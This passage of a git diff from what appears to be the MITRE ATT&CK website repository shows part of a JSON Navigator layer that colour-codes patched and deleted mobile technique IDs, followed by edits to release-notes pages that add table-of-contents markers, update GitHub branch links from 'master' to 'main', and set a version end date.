"patche" + }, + { + "techniqueID": "T1616", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1616", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1636.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1414", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1414", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1632.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1623", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1577", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1645", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1474.002", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1474.001", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1474.003", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1636.003", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1634", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1471", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1641", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1533", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1481.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1626.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1629.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1629.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1630.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1637.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1407", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1456", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1637", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1521", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1642", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1624", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1627", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1639", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1646", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1639.001", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1404", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1428", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1630.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1420", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1541", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1541", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1417.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1417.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1643", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1627.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1628", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1625", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1617", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1629", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1430.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1430.002", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1630", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1544", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1417", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1417", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1516", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1516", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1634.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1417.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1417.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1430", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1430", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1461", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1655", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1575", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1575", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1423", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1509", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1406", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1481.003", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1644", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1629.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1424", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1631", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1631", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1636", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1604", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1631.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1631.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1430.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1430.001", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1582", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1636.004", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1603", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1603", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1513", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1418.001", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1418", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1406.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1635", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1406.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1409", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1632", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1474", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1628.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1521.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1633.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1426", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1422", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1421", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1625.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1641.001", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1635.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1630.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1623.001", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1628.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1512", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1633", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1437.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1481", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1454", + "tactic": "collection", + "enabled": true, + "color": "#ff00e1", + "comment": "deletion" + } + ], + "sorting": 0, + "hideDisabled": false, + "legendItems": [ + { + "color": "#a1d99b", + "label": "additions: ATT&CK objects which are only present in the new release." + }, + { + "color": "#fcf3a2", + "label": "major_version_changes: ATT&CK objects that have a major version change. (e.g. 1.0 \u2192 2.0)" + }, + { + "color": "#c7c4e0", + "label": "minor_version_changes: ATT&CK objects that have a minor version change. (e.g. 1.0 \u2192 1.1)" + }, + { + "color": "#B5E5CF", + "label": "other_version_changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 \u2192 1.2)" + }, + { + "color": "#B99095", + "label": "patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 \u2192 1.0 but something like a typo, a URL, or some metadata was fixed)" + }, + { + "color": "#ff9000", + "label": "revocations: ATT&CK objects which are revoked by a different object." + }, + { + "color": "#ff6363", + "label": "deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced." + }, + { + "color": "#ff00e1", + "label": "deletions: ATT&CK objects which are no longer found in the STIX data." + }, + { + "color": "#ffffff", + "label": "unchanged: ATT&CK objects which did not change between the two versions." + } + ], + "showTacticRowBackground": true, + "tacticRowBackground": "#205b8f", + "selectTechniquesAcrossTactics": true +} \ No newline at end of file diff --git a/modules/resources/static_pages/updates-april-2018.md b/modules/resources/static_pages/updates-april-2018.md index 45a0540a1ea..a1e5b85a295 100644 --- a/modules/resources/static_pages/updates-april-2018.md +++ b/modules/resources/static_pages/updates-april-2018.md @@ -10,6 +10,10 @@ save_as: resources/updates/updates-april-2018/index.html |:--------|:-----------|:---------|:-----| | ATT&CK v2 | April 13, 2018 | October 22, 2018 | [v2.0 on MITRE/CTI](https://github.com/mitre/cti/releases/tag/ATT%26CK-v2.0) | +## Table of Contents + +[TOC] + #### Initial Access Tactic Addition [Initial Access](/tactics/TA0001) was added to ATT&CK and some techniques were added to [Execution](/tactics/TA0002) to cover the Launch and Compromise techniques within PRE-ATT&CK. The techniques were refactored to fit the enterprise level of detail. diff --git a/modules/resources/static_pages/updates-april-2019.md b/modules/resources/static_pages/updates-april-2019.md index b6d6159adde..6620932653b 100644 --- a/modules/resources/static_pages/updates-april-2019.md +++ b/modules/resources/static_pages/updates-april-2019.md @@ -13,6 +13,10 @@ save_as: resources/updates/updates-april-2019/index.html ### Previous Versions Previous versions of the ATT&CK website are now being saved and displayed [here](/resources/versions) to give a historical reference for prior content releases. +## Table of Contents + +[TOC] + ### Tactics and Techniques **Enterprise** diff --git a/modules/resources/static_pages/updates-april-2021.md b/modules/resources/static_pages/updates-april-2021.md index 73de4e7385d..d0902a46860 100644 --- a/modules/resources/static_pages/updates-april-2021.md +++ b/modules/resources/static_pages/updates-april-2021.md @@ -13,6 +13,11 @@ save_as: resources/updates/updates-april-2021/index.html The April 2021 (v9) ATT&CK release updates Techniques, Groups, and Software for Enterprise, Mobile, and ICS. The biggest changes are a change in how we describe data sources, the addition of the [Containers](/matrices/enterprise/containers/) and [Google Workspace](/matrices/enterprise/cloud/googleworkspace/) platforms, and the replacement of the AWS, GCP, and Azure platforms with a single [IaaS](/matrices/enterprise/cloud/iaas/) (Infrastructure as a Service) platform. An [accompanying blog post](https://medium.com/mitre-attack/attack-april-2021-release-39accaf23c81) describes these changes and additions in more detail, with a focus on the new structure of data sources. This version of ATT&CK for Enterprise contains 14 Tactics, 185 Techniques, and 367 Sub-techniques. + +## Table of Contents + +[TOC] + ### Techniques **Enterprise** diff --git a/modules/resources/static_pages/updates-april-2022.md b/modules/resources/static_pages/updates-april-2022.md index e201f87d147..faca1aa1260 100644 --- a/modules/resources/static_pages/updates-april-2022.md +++ b/modules/resources/static_pages/updates-april-2022.md @@ -18,6 +18,10 @@ In this release we have replaced the Enterprise Sub-Techniques [Boot or Logon Au This version of ATT&CK for Enterprise contains 14 Tactics, 191 Techniques, 386 Sub-techniques, 134 Groups, and 680 Pieces of Software. +## Table of Contents + +[TOC] + ## Techniques ### Enterprise diff --git a/modules/resources/static_pages/updates-april-2023.md b/modules/resources/static_pages/updates-april-2023.md index 166fde78ff0..0403a3c4e1d 100644 --- a/modules/resources/static_pages/updates-april-2023.md +++ b/modules/resources/static_pages/updates-april-2023.md @@ -12,7 +12,7 @@ save_as: resources/updates/updates-april-2023/index.html The April 2023 (v13) ATT&CK release updates Techniques, Groups, Campaigns and Software for Enterprise, Mobile, and ICS. The biggest changes in ATT&CK v13 are the addition of detailed detection guidance to some Techniques in ATT&CK for Enterprise, Mobile Data Sources, and two new types of changelogs to help identify more precisely what has changed in ATT&CK. An [accompanying blog post](https://medium.com/mitre-attack/attack-v13-enters-the-room-5cef174c32ff) describes these changes as well as improvements across ATT&CK's various domains and platforms. -This release includes a new [human-readable detailed changelog](/docs/changelogs/v12.1-v13.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a new [machine-readable JSON changelog](/docs/changelogs/v12.1-v13.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/master/mitreattack/diffStix/README.md). The terminology used in these release notes has also been updated to better describe the changes to various ATT&CK objects: +This release includes a new [human-readable detailed changelog](/docs/changelogs/v12.1-v13.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a new [machine-readable JSON changelog](/docs/changelogs/v12.1-v13.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/main/mitreattack/diffStix/README.md). The terminology used in these release notes has also been updated to better describe the changes to various ATT&CK objects: * New objects: ATT&CK objects which are only present in the new release. * Major version changes: ATT&CK objects that have a major version change. (e.g., 1.0 → 2.0) @@ -24,6 +24,10 @@ This release includes a new [human-readable detailed changelog](/docs/changelogs This version of ATT&CK for Enterprise contains 14 Tactics, 196 Techniques, 411 Sub-techniques, 138 Groups, 22 Campaigns, and 740 Pieces of Software. +## Table of Contents + +[TOC] + ## Techniques ### Enterprise diff --git a/modules/resources/static_pages/updates-april-2024.md b/modules/resources/static_pages/updates-april-2024.md index 316ae7fd63d..6f9f7ea8339 100644 --- a/modules/resources/static_pages/updates-april-2024.md +++ b/modules/resources/static_pages/updates-april-2024.md @@ -14,7 +14,7 @@ The April 2024 (v15) ATT&CK release updates Techniques, Groups, Campaigns and So The biggest changes in ATT&CK v15 are a shift in language (from CAR pseudocode to real-world query languages) for analytics in Enterprise detections, detection notes and analytics added to [Enterprise Execution](https://attack.mitre.org/tactics/TA0002/) techniques, improved defensive recommendations for [Cloud](https://attack.mitre.org/matrices/enterprise/cloud/) techniques, and the addition of activity from a number of cyber-criminal and underreported threat groups. An [accompanying blog post](https://medium.com/mitre-attack/attack-v15-26685f300acc) describes these changes as well as additional improvements across ATT&CK's various domains and platforms. -This release also includes a [human-readable detailed changelog](/docs/changelogs/v14.1-v15.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a [machine-readable JSON changelog](/docs/changelogs/v14.1-v15.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/master/mitreattack/diffStix/README.md). +This release also includes a [human-readable detailed changelog](/docs/changelogs/v14.1-v15.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a [machine-readable JSON changelog](/docs/changelogs/v14.1-v15.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/main/mitreattack/diffStix/README.md). This version of ATT&CK contains 794 Pieces of Software, 152 Groups, and 30 Campaigns. Broken out by domain: @@ -33,6 +33,10 @@ This version of ATT&CK contains 794 Pieces of Software, 152 Groups, and 30 Campa * Deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced. * Deletions: ATT&CK objects which are no longer found in the STIX data. +## Table of Contents + +[TOC] + ## Techniques ### Enterprise diff --git a/modules/resources/static_pages/updates-april-2025.md b/modules/resources/static_pages/updates-april-2025.md index d714cd7a429..5c1edf8b168 100644 --- a/modules/resources/static_pages/updates-april-2025.md +++ b/modules/resources/static_pages/updates-april-2025.md @@ -8,7 +8,7 @@ save_as: resources/updates/updates-april-2025/index.html | Version | Start Date | End Date | Data | Changelogs | |:--------|:-----------|:---------|:-----|:-----------| -| [ATT&CK v17](/versions/v17) | April 22, 2025 | Current version of ATT&CK | [v17.0 on MITRE/CTI](https://github.com/mitre/cti/releases/tag/ATT%26CK-v17.0)
[v17.1 on MITRE/CTI](https://github.com/mitre/cti/releases/tag/ATT%26CK-v17.1) | 16.1 - 17.0 [Details](/docs/changelogs/v16.1-v17.0/changelog-detailed.html) ([JSON](/docs/changelogs/v16.1-v17.0/changelog.json))
17.0 - 17.1 [Details](/docs/changelogs/v17.0-v17.1/changelog-detailed.html) ([JSON](/docs/changelogs/v17.0-v17.1/changelog.json)) | +| [ATT&CK v17](/versions/v17) | April 22, 2025 | October 27, 2025 | [v17.0 on MITRE/CTI](https://github.com/mitre/cti/releases/tag/ATT%26CK-v17.0)
[v17.1 on MITRE/CTI](https://github.com/mitre/cti/releases/tag/ATT%26CK-v17.1) | 16.1 - 17.0 [Details](/docs/changelogs/v16.1-v17.0/changelog-detailed.html) ([JSON](/docs/changelogs/v16.1-v17.0/changelog.json))
17.0 - 17.1 [Details](/docs/changelogs/v17.0-v17.1/changelog-detailed.html) ([JSON](/docs/changelogs/v17.0-v17.1/changelog.json)) | The April 2025 (v17) ATT&CK release updates Techniques, Groups, Campaigns and Software for Enterprise, Mobile, and ICS. @@ -16,7 +16,7 @@ The biggest changes in ATT&CK v17 are the addition of an [ESXi](/matrices/enterp In this release we have revoked Hijack Execution Flow: [DLL Side-Loading](/versions/v16/techniques/T1574/002/) and merged it into Hijack Execution Flow: [DLL](/techniques/T1574/001), which itself was renamed from Hijack Execution Flow: DLL Search Order Hijacking. This change was made to reflect the previously overlapping scope of the two sub-techniques and frequent confusion between them. -This release also includes a [human-readable detailed changelog](/docs/changelogs/v16.1-v17.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a [machine-readable JSON changelog](/docs/changelogs/v16.1-v17.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/master/mitreattack/diffStix/README.md). +This release also includes a [human-readable detailed changelog](/docs/changelogs/v16.1-v17.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a [machine-readable JSON changelog](/docs/changelogs/v16.1-v17.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/main/mitreattack/diffStix/README.md). This version of ATT&CK contains 877 Pieces of Software, 170 Groups, and 50 Campaigns Broken out by domain: @@ -36,6 +36,9 @@ Broken out by domain: * Deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced. * Deletions: ATT&CK objects which are no longer found in the STIX data. +## Table of Contents + +[TOC] ## Techniques diff --git a/modules/resources/static_pages/updates-january-2018.md b/modules/resources/static_pages/updates-january-2018.md index 5de01debec5..57d3411c7bc 100644 --- a/modules/resources/static_pages/updates-january-2018.md +++ b/modules/resources/static_pages/updates-january-2018.md @@ -10,6 +10,10 @@ save_as: resources/updates/updates-january-2018/index.html |:--------|:-----------|:---------|:-----| | ATT&CK v1 | January 6, 2018 | April 12, 2018 | [v1.0 on MITRE/CTI](https://github.com/mitre/cti/releases/tag/ATT%26CK-v1.0) | +## Table of Contents + +[TOC] + #### Techniques **19 new techniques** - Up to 188 from 169: diff --git a/modules/resources/static_pages/updates-july-2017.md b/modules/resources/static_pages/updates-july-2017.md index 29b843b6e85..0dcae2b3e84 100644 --- a/modules/resources/static_pages/updates-july-2017.md +++ b/modules/resources/static_pages/updates-july-2017.md @@ -6,6 +6,10 @@ Template: resources/update-post url: /resources/updates/updates-july-2017 save_as: resources/updates/updates-july-2017/index.html +## Table of Contents + +[TOC] + #### Big update for July 2017. ATT&CK now totals 169 techniques across Windows, Mac, and Linux: **Rollout of Mac and Linux ATT&CK for Enterprise techniques** diff --git a/modules/resources/static_pages/updates-july-2019.md b/modules/resources/static_pages/updates-july-2019.md index e29108e94f5..87ce91625af 100644 --- a/modules/resources/static_pages/updates-july-2019.md +++ b/modules/resources/static_pages/updates-july-2019.md @@ -22,6 +22,10 @@ The Effects tactic in ATT&CK for Mobile was renamed to Impact for consistency wi We've also updated the [Enterprise tactic descriptions](/tactics/enterprise/) based on a contribution from Elly Searle at CrowdStrike to make them more straightforward, uniform, and easier to understand. +## Table of Contents + +[TOC] + ### Techniques **Enterprise** diff --git a/modules/resources/static_pages/updates-march-2020.md b/modules/resources/static_pages/updates-march-2020.md index 2b3ae719b47..4286aae9a8c 100644 --- a/modules/resources/static_pages/updates-march-2020.md +++ b/modules/resources/static_pages/updates-march-2020.md @@ -14,6 +14,10 @@ In total, the sub-technique version of ATT&CK for Enterprise contains 156 techni See [the accompanying blog post](https://medium.com/mitre-attack/attack-subs-what-you-need-to-know-99bce414ae0b) for more details. +## Table of Contents + +[TOC] + ### Techniques **Enterprise** diff --git a/modules/resources/static_pages/updates-october-2018.md b/modules/resources/static_pages/updates-october-2018.md index 8b914679376..df6978785e5 100644 --- a/modules/resources/static_pages/updates-october-2018.md +++ b/modules/resources/static_pages/updates-october-2018.md @@ -10,6 +10,10 @@ save_as: resources/updates/updates-october-2018/index.html |:--------|:-----------|:---------|:-----| | [ATT&CK v3](/versions/v3) | October 23, 2018 | April 29, 2019 | [v3.0 on MITRE/CTI](https://github.com/mitre/cti/releases/tag/ATT%26CK-v3.0) | +## Table of Contents + +[TOC] + #### Transition from MediaWiki The MediaWiki version of ATT&CK was moved to [attack-old.mitre.org](https://attack-old.mitre.org) and will remain up until the end of January 2019. The old website will not be receiving content updates during this timeframe, so you will need to use the new website and [STIX/TAXII](/resources/attack-data-and-tools) to get the most up-to-date ATT&CK information. diff --git a/modules/resources/static_pages/updates-october-2019.md b/modules/resources/static_pages/updates-october-2019.md index 35dc181b687..0f0a9c49128 100644 --- a/modules/resources/static_pages/updates-october-2019.md +++ b/modules/resources/static_pages/updates-october-2019.md @@ -12,6 +12,10 @@ save_as: resources/updates/updates-october-2019/index.html The October 2019 ATT&CK release updates techniques, Groups, and Software for both Enterprise and Mobile. The biggest change is the addition of cloud-focused techniques. +## Table of Contents + +[TOC] + #### ATT&CK for Cloud 36 techniques have been added or updated to cover adversary behavior against cloud-based platforms. We’ve added three infrastructure as a service (IaaS) platforms, [Amazon Web Services (AWS)](/matrices/enterprise/cloud/aws/), [Microsoft Azure (Azure)](/matrices/enterprise/cloud/azure/), and [Google Cloud Platform (GCP)](/matrices/enterprise/cloud/gcp/). The [Software as a service (SaaS)](/matrices/enterprise/cloud/saas/) platform will cover techniques against general cloud-based software platforms. Separately from IaaS and SaaS, we've also added two cloud software platforms, [Azure Active Directory (Azure AD)](/matrices/enterprise/cloud/azuread/) and [Office 365](/matrices/enterprise/cloud/office365/), to cover techniques against those specific platforms. diff --git a/modules/resources/static_pages/updates-october-2020.md b/modules/resources/static_pages/updates-october-2020.md index cc850f042cc..02a293f8a93 100644 --- a/modules/resources/static_pages/updates-october-2020.md +++ b/modules/resources/static_pages/updates-october-2020.md @@ -14,6 +14,10 @@ The October 2020 (v8) ATT&CK release updates Techniques, Groups, and Software fo This version of ATT&CK for Enterprise contains 14 Tactics, 177 Techniques, and 348 Sub-techniques. +## Table of Contents + +[TOC] + #### Retirement of PRE-ATT&CK This release deprecates and removes the PRE-ATT&CK domain from ATT&CK, replacing its scope with two new Tactics in Enterprise ATT&CK [Reconnaissance](/tactics/TA0043/) and [Resource Development](/tactics/TA0042/). A new platform has also been added to ATT&CK to represent the environment these techniques occur in, [PRE](/matrices/enterprise/pre/). The previous contents of PRE-ATT&CK have been preserved [here](/versions/v7/matrices/pre/). See [the accompanying blog post](https://medium.com/mitre-attack/the-retirement-of-pre-attack-4b73ffecd3d3) for more details. diff --git a/modules/resources/static_pages/updates-october-2021.md b/modules/resources/static_pages/updates-october-2021.md index 68ddeb20052..5597a8a0036 100644 --- a/modules/resources/static_pages/updates-october-2021.md +++ b/modules/resources/static_pages/updates-october-2021.md @@ -16,6 +16,10 @@ In this release we have renamed [T1185](/techniques/T1185/) and [T1557](/techniq This version of ATT&CK for Enterprise contains 14 Tactics, 188 Techniques, 379 Sub-techniques, 129 Groups, and 637 Pieces of Software. +## Table of Contents + +[TOC] + ### New Data Sources and/or Components in Enterprise ATT&CK: * [Active Directory](/datasources/DS0026) diff --git a/modules/resources/static_pages/updates-october-2022.md b/modules/resources/static_pages/updates-october-2022.md index 45bb668dd5a..18b561f5f33 100644 --- a/modules/resources/static_pages/updates-october-2022.md +++ b/modules/resources/static_pages/updates-october-2022.md @@ -20,6 +20,10 @@ In this release we have renamed the Enterprise Technique "Indicator Removal on H This version of ATT&CK for Enterprise contains 14 Tactics, 193 Techniques, 401 Sub-techniques, 135 Groups, 14 Campaigns, and 718 Pieces of Software. +## Table of Contents + +[TOC] + ## New Campaigns in ATT&CK * [C0010](/campaigns/C0010) (v1.0) diff --git a/modules/resources/static_pages/updates-october-2023.md b/modules/resources/static_pages/updates-october-2023.md index 0985f271223..63811557d99 100644 --- a/modules/resources/static_pages/updates-october-2023.md +++ b/modules/resources/static_pages/updates-october-2023.md @@ -13,7 +13,7 @@ save_as: resources/updates/updates-october-2023/index.html The October 2023 (v14) ATT&CK release updates Techniques, Groups, 